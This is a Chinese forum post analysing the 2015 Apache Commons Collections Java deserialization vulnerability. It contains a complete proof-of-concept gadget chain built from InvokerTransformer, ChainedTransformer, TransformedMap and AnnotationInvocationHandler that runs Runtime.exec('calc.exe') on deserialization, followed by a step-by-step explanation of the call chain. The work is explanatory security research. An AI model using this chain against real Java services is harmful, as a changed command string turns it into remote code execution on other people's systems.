Apache Commons Collections反序列化漏洞

打印 上一主题 下一主题

主题 895|帖子 895|积分 2685

目录

Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是 java 汗青上最出名同时也是最具有代表性的反序列化漏洞。
复现

环境准备

POC

直接看其他师傅们的POC:
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.io.*;
  7. import java.lang.reflect.Constructor;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. public class POC4 {
  11.     public static void main(String[] args) throws Exception{
  12.         Transformer[] transformers_exec = new Transformer[]{
  13.                 new ConstantTransformer(Runtime.class),
  14.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  15.                 new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
  16.                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  17.         };
  18.         Transformer chain = new ChainedTransformer(transformers_exec);
  19.         HashMap innerMap = new HashMap();
  20.         innerMap.put("value","asdf");
  21.         Map outerMap = TransformedMap.decorate(innerMap,null,chain);
  22.         // 通过反射机制实例化AnnotationInvocationHandler
  23.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  24.         Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
  25.         cons.setAccessible(true);
  26.         Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
  27.         // 序列化
  28.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  29.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  30.         oos.writeObject(ins);
  31.         oos.flush();
  32.         oos.close();
  33.         // 本地模拟反序列化
  34.         ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  35.         ObjectInputStream ois = new ObjectInputStream(bais);
  36.         Object obj = (Object) ois.readObject();
  37.     }
  38. }
复制代码

上面的复现利用的 payload 颠末反序列化过后会执行:Runtime.getRuntime().exec("calc.exe"),造成了本地命令执行,接下来就一步步探究这个漏洞是怎样产生的。
漏洞原理分析

构造反射链

看到这个POC,起首关注 InvokerTransformer 这个对象,它是执行恶意代码的主要问题所在。起首看看这个类的构造函数,其中 this.iMethodName 是方法名, this.iParamTypes 是参数类型,this.iArgs 是参数的值。

它的 transform 方法很显着调用了 java 的反射机制,传入 input 是类名,利用反射拿到类名和方法名。方法的参数和类型是我们可以通过构造函数直接传入的。如今只要 input 也是可控的,那我们就可以执行恣意对象的恣意方法。

我们的目标是到达远程执行命令的效果,所以如今就是想办法直接传入 Runtime 类的实例对象。
巧的是,有个类 ChainedTransformer,该类中也有一个 transform 方法:

该类的构造函数接收一个 Transformer 类型的数组,并且在 transform 方法中会遍历这个数组,并调用数组中的每一个成员的 transform 方法。
还有一个类 ConstantTransformer,它同样有一个 transform 方法,就是返回 iConstant,而 this.iConstant 又来自它的构造函数。

所以我们实例化 ConstantTransformer 时传入一个 Runtime.class 返回的也是 Runtime.class。
到这里已经介绍了三个 transfromer 类和三个 transform 方法:
InvokerTransformerConstantTransformerChainedTransformer构造函数接受三个参数构造函数接受一个参数构造函数接受一个TransFormer类型的数组transform方法通过反射可以执行一个对象的恣意方法transform返回构造函数传入的参数transform方法执行构造函数传入数组的每一个成员的transform方法如今尝试把这几个 transformer 组合起来构造一个执行链:
  1. // TransFormer 类型的数组
  2. Transformer[] transformers_exec = new Transformer[]{
  3.         // 传入 Runtime 类
  4.         new ConstantTransformer(Runtime.class),
  5.         // 反射调用 getMethod 方法,然后 getMethod 方法再反射调用 getRuntime 方法,返回 Runtime.getRuntime() 方法
  6.         new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  7.         // 反射调用 invoke 方法,然后反射执行 Runtime.getRuntime() 方法,返回 Runtime 实例化对象
  8.         new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
  9.         // 反射调用 exec 方法
  10.         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  11. };
  12. Transformer transformerChain = new ChainedTransformer(transformers_exec);
复制代码
这样一个反射链条就构造好了,给一个初始的 object,然后输出作为下一个输入,从而实现链式调用。
大致过程如下:

  • ChianedTransformer 的 transform 是一个循环调用该类里面的 transformer 的 transform 方法
  • 起首调用 ConstantTransformer("java.Runtime")
  • 第一次调用 InvokerTransformer 对象 getMethod("getRuntime",null) 方法,参数为 ("java.Runtime") 会返回一个Runtime.getRuntime()方法,但还没有执行
  • 第二次调用 InvokerTransformer 对象 Invoke(null,null) 方法,参数为 Runtime.getRuntime(),那么会返回一个 Runtime 对象实例
  • 第三次调用 InvokerTransformer 对象 exec("clac.exe") 方法,参数为一个 Runtime 的对象实例,调用了对象的方法,会执行弹出计算器操作
反射链就构造完毕了,如今要做的就是怎么触发 ChainedTransformer 的 transform 方法。
TransformedMap利用链

存在一些类,如 TransformedMap  和 AnnotationInvocationHandler,重写 readObject() 方法,在反序列化时会主动执行这些方法,来到达触发  transform 方法的目的。
在 TransformedMap 类中的三个方法 transformKey、transformValue 和 checkSetValue 都会触发 transform 方法。
如今找到了能够触发 transform 的地方,但是这照旧不能在反序列化的时候主动触发。在反序列化只会主动触发 readObject() 方法,所以如今需要找一个类重写了 readObject()。
在 TransformedMap 里的每个 entryset 在调用 setValue 方法时会主动调用 TransformedMap 类的 checkSetValue 方法。
那么就要探求这样一个类:这个类的 readObject 方法中对某个 Map 类型的属性的 entry 进行了 setValue 操作。
恰好就有这个类 AbstractInputCheckedMapDecorator, 调用 java 的自带类 AnnotationInvocationHandler 中重写的 readObject 方法,该方法调用时会先将 map 转为 Map.entry,然后执行 setvalue 操作。

执行 setValue() 方法,就会到 checkSetValue() 方法:

到 checkSetValue() 方法,就会执行 transform 方法,从而实现整个利用链。

综上所述整个调用链:

  • ->ObjectInputStream.readObject()
  • ->AnnotationInvocationHandler.readObject()
  • ->TransformedMap.entrySet().iterator().next().setValue()
  • ->TransformedMap.checkSetValue()
  • ->TransformedMap.transform()
  • ->ChainedTransformer.transform()
对于 jdk 1.8 来说,AnnotationInvocationHandler 类中的这个关键的触发点 setValue 发生了改变。所以就无法利用了。
jdk 1.8 有一个 LazyMap 利用链。
参考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711
若有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表